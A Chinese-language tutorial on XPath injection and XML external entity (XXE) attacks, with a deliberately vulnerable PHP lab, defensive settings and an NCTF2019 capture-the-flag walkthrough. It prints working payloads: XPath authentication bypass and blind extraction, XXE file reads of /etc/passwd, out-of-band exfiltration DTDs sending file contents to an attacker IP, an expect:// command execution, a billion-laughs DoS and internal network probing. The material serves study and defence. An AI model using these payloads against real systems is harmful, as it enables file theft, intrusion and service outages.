XPath注入

XPath注入对象是一个存储数据的XML文件

环境搭建

index.xml

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users> 
        <user> 
            <id>1</id>
            <username>root</username>
            <password>rootpwd</password>
        </user> 
        <user> 
            <id>2</id>
            <username>admin</username>
            <password>adminpwd</password>
        </user>
    </users>
</root>

index.php

<?php
$xml=simplexml_load_file('index.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
    echo '<h2>Welcome</h2>';
    foreach($result as $key=>$value){
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}
?>

直接注入

payload

?name=' or 1=1 or ''='&pwd=1,结果如下,类似sql注入,绕过了xml查询

盲注

payload

有返回结果则为正确

推测根节点数,有返回结果则说明只有一个根节点
' or count(/*) = 1 or '1' = '2  

猜解一级节点
' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2  
' or substring(name(/*[position() = 1]),1,1)='o' or '1'='2  
......

推测root的下一级节点数
' or count(/root/*) = 1 or '1' = '2

猜解root的下一级节点
' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2
' or substring(name(/root/*[position() = 1]),1,1)='s' or '1'='2
......

猜解节点中的数据
' or /root/users/user[1]/username[contains(text(),'r')] or '1'='2  
' or /root/users/user[1]/username[contains(text(),'ro')] or '1'='2  
......
  • / :从根节点选取
  • // :从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
  • . :选取当前节点
  • .. :选取当前节点的父节点

XML外部实体注入(XXE)

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE的造成与PHP版本无关,与libxml库的版本有关。libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。

本地测试环境php.4.45 libxml = 2.7.8

外部实体可支持http、file等协议。不同程序支持的协议不同

读取任意文件

有回显

xxe.php

<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);
?>

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://flag.txt" >
]>
<root>
<name>&file;</name>
</root>

url编码后给传入,即在 xml 中 &file ; 变成了外部文件qwzf.txt中内容,导致敏感信息泄露。

无回显

xxe.php

<?php
$xml = simplexml_load_string($_REQUEST['xml']);
// print_r($xml);
?>

这种情况就需要将数据发送到远程服务器(攻击服务器)

payload

传入的xml 两种方式

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/flag.txt">
<!ENTITY % dtd SYSTEM "http://172.18.104.218/xxe.dtd">
%dtd;
%send;
]>

另一种方式
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY % dtd SYSTEM "http://172.18.104.218/xxe.dtd">
	%dtd;
]>

远程服务器的xxe.dtd文件 两种方式

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://172.18.104.218/?content=%file;'>">
%payload;

另一种方式:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://172.18.104.218:5000/?content=%file;'>">
%int;
%send;

将xml进行url编码后传入

再查看远程服务器的apache日志文件

cat /var/log/apache2/access.log

nc -lvp 5000 端口监听

解码后即是文件的内容

攻击流程

  • 先调用%dtd,请求远程服务器(攻击服务器)上的evil.dtd
  • 再调用 evil.dtd中的 %file%file 获取受攻击的服务器上面的敏感文件,然后将 %file 的返回结果传到%send
  • 然后调用 %send; 把读取到的数据发送到远程服务器上。

系统命令执行

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

通过XXE可以实现RCE的实例很少。

拒绝服务攻击(Dos)

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

探测内网端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

漏洞防御

使用开发语言提供的禁用外部实体的方法

php:

libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC

不允许XML中含有自己定义的DTD

栗子

[NCTF2019]True XML cookbook

界面:

题目提示xml,推测是xxe,于是login抓包,发现提交usernamepassword是以一个xml格式的数据提交的,如下:

<user><username>admin</username><password>123456</password></user>

于是进行xxe注入测试:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<user><username>&file;</username><password>aaa</password></user>

回显/etc/passwd的内容,存在xxe注入,尝试读取文件,得到doLogin.php的代码

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

测试读取flag,硬是没找到,无法命令执行,网上找了找wp,放心居然是内网探测,读取/etc/hosts的文件,读到本机ip地址173.56.110.9,于是探测子网:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "http://173.56.110.11" >
]>
<user><username>&file;</username><password>aaa</password></user>

173.56.110.11,返回flag

参考